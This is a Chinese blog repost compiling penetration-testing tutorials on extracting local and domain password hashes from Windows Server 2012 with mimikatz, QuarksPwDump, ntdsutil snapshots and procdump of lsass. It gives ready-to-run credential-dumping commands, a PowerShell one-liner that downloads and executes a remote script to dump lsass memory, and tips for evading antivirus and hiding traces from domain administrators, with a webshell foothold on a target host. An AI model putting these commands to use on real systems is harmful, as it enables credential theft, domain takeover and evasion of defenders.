Win2012 Server抓HASH(本地+域)

Win2012 Server抓HASH(本地+域)

为避免文章过长,这里就不贴出详细测试过程了。经过我的测试,发现本地用户hash抓取的方法中,以下几种方式是可行的:

hash:在线解密:

http://www.objectif-securite.ch/ophcrack.php

注册表导出+cain
Pwdump7.exe
QuarksPwDump.exe https://code.google.com/archive/p/quarkspwdump/downloads
mimikatz.exe
这几种方式都可以抓到本地用户hash,其中mimikatz.exe只能抓到登陆过的账户的hash值,已经抓取不到明文的密码了,但是,有一些有意思

的东西,直接上图

点击查看原图

仔细看图,可以发现,wdigest的内容为n.a. ,也就是没有抓取到明文密码。看来微软还是有一点改进的,注入lsass.exe进程已经抓不到明文了。
但是,重点是!!!LM hash被抓出来了,而且完全是正确的!!!
当密码长度小于等于14位,只要有lm hash基本上都是秒破,我见过很多管理员的密码根本没有14位长。从vista开始就已经不保存lm hash了,但是没想到2012里还能抓到lm
然后wce.exe gethashes.exe gsecdump.exe抓取本地用户hash都失败了,其中wce更让人无语
全执行后会导致服务器直接重启

点击查看原图
不过我倒是顺带发现psexec启用system权限的方法对于2012还是适用的
域用户hash抓取测试
在虚拟机中搭建好域,域控制器就是这台windows server 2012,另外再加入一台windows server 2003的成员机器作为测试。
域中添加AdminUser, User1用户,其中AdminUser是域管理员,再加上本地用户Administrator在安装域时会自动添加成域管理员,所以总共是3个有效用户,2个域管理员。
首先测试在2003的成员机器上登陆域用户时的情况,可以用mimikatz和各种工具直接抓取明文,这个和以前的情况一样,就不贴图了。
在windows server 2012上用mimikatz直接抓取域登陆用户hash,测试成功

点击查看原图

接下来是重头戏,如何抓取所有域用户的hashwww.t00ls.net5 v1 s4 P, J, E& {
gethashes.exe 和gsecdump.exe都直接悲剧,这意味着想要轻量级的抓取所有域用户hash已经很难了。

在线抓取失败,没办法只能祭出终极武器:离线抓取!
第一种办法: vssown.vbs + libesedb + NtdsXtract
详细出处参考这里:http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html
首先用vssown.vbs把域数据库ntds.dit和SYSTEM文件复制一份,然后把复制文件下载回本地,再利用libesedb分解ntds.dit文件,最后用NtdsXtract分析出用户hash信息,这种方法除了能获取用户当前密码hash外,还能获取历史密码hash值,能给社工带来更多的帮助。除此之外还能获取很多其他的信息,比如所有计算机列表,操作系统等等保存在域数据库中的数据。
具体的操作过程就直接上图了,不懂得可以去看那篇英文的文章
不过有一点需要注意,那篇文章过后vssown.vbs有更新过,在创建shadow copy时需要指定盘符,不然会有个下标越界的错误,这是为了方便当域数据库保存在D盘时的情况。

点击查看原图

然后把ntds.dit和SYSTEM这两个文件下载回本地,放到BT5里面提取hash:

点击查看原图

点击查看原图
可以看到成功的提取了域里面所有用户的密码hash
在实际渗透时需要注意的问题:
域的数据库根据域的规模大小不一,我见过最大的有5G,所以下载回本地时推荐压缩后再下载
提取hash时最好导出到文件中,直接在后面加 >filename.txt
第二种办法:ntdsutil.exe + QuarksPwDump.exe
Ntdsutil.exe 是域控制器自带的域数据库管理工具。从windows server 2008 开始就有了。
这个方法在QuarksPwDump.exe程序的Readme.txt里面有详细的讲解(windows 2008那个,适用于windows server 2012)。按顺序运行下列命令,不用带#号
#ntdsutil
#snapshot
#activate instance ntds
#create
#mount {GUID}
#copy c:\MOUNT_POINT\WINDOWS\NTDS\NTDS.dit c:\NTDS_saved.dit
#unmount {GUID}
#quit
#quit
上图:

点击查看原图

然后用QuarksPwDump.exe导出hash值,运行命令:
QuarksPwDump.exe –dump-hash-domain –ntds-file c:\ntds.dit

点击查看原图

注意:我发现其实作者忘了一个步骤,是删除快照信息,如果域管理员是利用这个工具进行管理的话,会很容易发现有人创建过快照,所以在quit之前应该执行delete {GUID}命令
以上就是两种比较重量级的抓取hash的方法了。第一种方法我经常用,从2003-2012通杀,有时候会遇到vssown.vbs出错,
一般是在windows 2008 R2上面出错比较多,这时候改用vssadmin.exe就OK的,vssadmin.exe的用法、功能和vssown.vbs差不多,vssadmin.exe在2008 R2中自带。
具体使用方法参考:http://www.91ri.org/
第二种也可以通杀2003到2012,但是2003里面比较麻烦,需要在图形界面中手动备份数据库才行,2008 和 2012则可以在命令行下搞定。另外用vssown.vbs复制出来的ntds.dit数据库不能用QuarksPwDump抓取。
补充:cmd shell下的抓取方式
前面讲了两种抓取所有域用户hash的方法,但是都是在交互的图形化界面中进行的。实际的渗透中,最好不要用mstsc登录域控制器,
很可能上面装有监控远程桌面登录信息的各种工具。更实际的情况应该是我们从一台成员服务器上通过远程的cmd shell抓取域用户信息。我一般用psexec开启一个远程cmdshell,如果没有域管理员密码明文,就用wce进行hash注入,再用psexec就可以了。
第一种方法主要是vssown.vbs的操作,没有任何交互式的命令需要执行,所以没有什么特别的,在psexec下面直接操作即可
第二种方法中ntdsutil.exe的命令是交互式的,需要一步步输入,而psexec开启的shell是没办法这么做的,会直接卡死在那。于是我尝试了下把命令写在一起,就像用netsh配置网络信息时一样,发现是可以用的,只不过有空格的地方用引号就行了。
所以ntdsutil的命令就可以写成
ntdsutil  snapshot  “activate  instance  ntds”  create  quit  quit
ntdsutil  snapshot  “mount {GUID}”  quit  quit
copy  MOUNT_POINT\windows\NTDS\ntds.dit  c:\ntds.dit
ntdsutil  snapshot  “unmount {GUID}”  quit  quit2 v- p5 I2 O  E
ntdsutil  snapshot  “delete {GUID}”  quit  quit
接下来就是导出hash,执行: QuarksPwDump.exe –dump-hash-domain –ntds-file c:\ntds.dit
具体的过程如下:

点击查看原图

点击查看原图

总结:
测试了这么多,最大的收获应该是mimikatz还能抓到lm hash。其实还是有很多工具可以抓到hash的,期待wce的更新,他的hash注入功能还是很实用的。
另外我发现有时候psexec在退出后,远程服务器的psexec的服务并没有被删除,这点相当危险,而且psexec会安装服务,很容易被管理员发现。
理论上psexec可以用wmi远程执行命令代替,但是一直没有去研究那个,如果哪位大牛了解,望不吝赐教。
最后,吐槽下windows server 2012烂到掉渣的用户体验,用起来跟翔一样……

本文转自t00ls 由网络安全攻防研究室(www.91ri.org)信息安全小组收集整理,转载请注明出处!



——————————————————————————————————————————————

转至:http://www.webshell.cc/4625.html


Quarks PwDump 是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。作者开发这个工具的原因是现在没有一款工具能同时抓取所有类型的hash和Bitlocker信息。这个工具没有注入任何进程,工作原理是神马呢,源代码值得读一下。

它目前可以导出 :
– Local accounts NT/LM hashes + history 本机NT/LM哈希+历史登录记录
– Domain accounts NT/LM hashes + history 域中的NT/LM哈希+历史登录记录
– Cached domain password 缓存中的域管理密码
– Bitlocker recovery information (recovery passwords & key packages) 使用Bitlocker的恢复后遗留的信息

支持的操作系统 : XP/2003/Vista/7/2008/8
1 / USAGE
=========

Here it is how you can use Quarks PWDump:

quarks-pwdump.exe<option(s)>
Options :
–dump-hash-local
–dump-hash-domain-cached
–dump-hash-domain (NTDS_FILE must be specified)
–dump-bitlocker (NTDS_FILE must be specified)
–with-history (optional)
–output-type JOHN/LC (optional, if no=>JOHN)
–output FILE (optional, if no=>stdout)

Dump options must be user all at once.
In all cases, the tool must be executed on the targeted operating system.

Some command examples:

– Dump domain hashes from NTDS.dit with its history
#quarks-pwdump.exe –dump-hash-domain –with-history

– Dump local account hashes to LC format
#quarks-pwdump.exe –dump-hash-local –output-type LC

– Dump domain hashes from NTDS.dit with its history
#quarks-pwdump.exe –dump-bitlocker –output c:bitlocker.txt c:ntds.dit

All features require administrator privileges.

 

本机测试截图(win7 64):

下载地址:http://code.google.com/p/quarkspwdump/ (需要翻墙下载)

附件:

  QuarksPwDump_v0.2b.zip (280.6 KB, 373 次)

本站内容均为原创,转载请务必保留署名与链接!
Quarks PwDump各种32位64系统获取HASH:http://www.webshell.cc/4625.html









 首先,还是回顾一下windows系统密码Hash的一些知识吧:(下面这段来自网络)

     首先介绍一下windows密码Hash:

     早期SMB协议在网络上传输明文口令。后来出现"LAN Manager Challenge/Response"验证机制,简称LM,它是如此简单以至很容易被破解。微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。Windows加密过的密码口令,我们称之为hash(中文:哈希),Windows的系统密码hash默认情况下一般由两部分组成:第一部分是LM-hash,第二部分是NTLM-hash。

     NTLM-Hash与LM-Hash算法相比,明文口令大小写敏感,但无法根据NTLM-Hash判断原始明文口令是否小于8字节,摆脱了魔术字符串"KGS!@#$%"。MD4是真正的单向哈希函数,穷举做为数据源出现的明文,难度较大。问题在于,微软一味强调NTLM-Hash的强度高,却避而不谈一个事实,为了保持向后兼容性,NTLM-Hash缺省总是与LM-Hash一起使用的。这意味着NTLM-Hash强调再高也是无助于安全的,相反潜在损害着安全性。增加NTLM-Hash后,首先利用LM-Hash的弱点穷举出原始明文口令的大小写不敏感版本,再利用NTLM-Hash修正出原始明文口令的大小写敏感版本。

     Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值,例如:

     Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::表示

     用户名称为:Administrator

     RID为:500

     LM-HASH值为:C8825DB10F2590EAAAD3B435B51404EE

     NT-HASH值为:683020925C5D8569C23AA724774CE6CC

     如果你知道这个用户的hash密码了,拿着C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC去hash在线查询网站。

     一般我用QuarksPwDump_v0.2b来抓取整个windows系列的密码hash,在windows server 2003那是一抓一个准,得到的hash值在http://www.objectif-securite.ch/en/ophcrack.php简直是秒破。那么,问题来了,我在windows server 2008 和windows server2012下抓取的密码却是有些奇怪,按照软件介绍windows server2008和windows server2012都是可以抓取的。好了,我还是结合虚拟机系统来说明一下。目前正好虚拟机打开的是windows server2012,那就先用它来演示一下吧。

     QuarksPwDump抓取密码的命令如下:(其他命令可以参考软件说明)

quarkspwdump.exe -dhl

     结合图示,我们来看一下:

6

     好像是抓取了系统的Hash了,按照前面对windows Hash知识的介绍:

     LM-HASH的值是AAD3B435B51404EEAAD3B435B51404EE

     NT-HASH的值是CE770E312D64AE0933D455B994E9C97D

     那好,我拿得到的整个HASH值拿去在线破解,结果如下:

7

     破解不出来,对不对。这下是不是觉得很囧。

     我们拿出另一款密码抓取神器mimikatz(https://github.com/gentilkiwi/mimikatz/releases)来试一下,和上面的结果做一下比较。命令如下:

     首先输入命令:

privilege::debug

     接着输入命令:

sekurlsa::logonpasswords

     图示结果如下:

8

     有没有发现,mimikatz和QuarksPwDump抓取的LM-HASH是不同的,而且mimikatz直接就把系统密码给取到了。NT-HASH两款软件得到的结果是一样的。

     好,再说一点渗透测试过程中的思路,我也是昨天才知道,渗透测试真的是一个漫长的经验积累过程。先说下场景,我已经chopper连上对方主机,但是系统默认安装了360杀毒软件和360安全卫士。我上传的mimikatz和QuarksPwDump都被查杀了。也就是说我想利用这两款软件常规思路获取系统的密码HASH已经是不太可能了。其实,我们可以先dump对方主机的LSASS内存文件,然后在自己主机用mimikatz进行处理,这样就可以得到对方主机的系统HASH和密码了。还是以虚拟机的windows server2012还演示一下。

     可以到微软的官方网站下载ProDump(https://technet.microsoft.com/en-us/sysinternals/dd996900.aspx),最新版本为v7.01,这个肯定不会引起杀毒软件的报毒和查杀了。

     命令如下:

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

     图示如下:

9

     接下来,再演示一下本地用mimikatz进行破解:

     首先输入命令:

mimikatz.exe "sekurlsa::minidump lsass.dmp"

     接着输入命令:

sekurlsa::logonpasswords

     结果图示如下:

10

     可以看到,能够得到离线得到系统密码,这样就可以在对方主机上绕过杀毒软件的查杀了。

     在乌云知识库中也有看到利用PowerShell完成Prodump一样工作的命令。具体命令如下:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); "Get-Process lsass | Out-Minidump"

     在虚拟机下的windows server2012下进行尝试,结果失败了,不知道什么鬼:

11

    继续尝试,又成功了。囧,如图所示:

12

    在虚拟机中windows server2008中进行尝试,得到如下图所示:

011

     进行破解,得到如下图所示:

012

013

     我在被渗透主机上进行尝试过,发现也是可行的,不过chopper的虚拟终端下会显示错误,实际上已经成功执行Powershell代码。不过总体感觉还是Prodump用起来更加方便。

     对了,Metasploit中也有集成mimkatz的。具体教程可以参考http://www.offensive-security.com/metasploit-unleashed/Mimikatz



评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值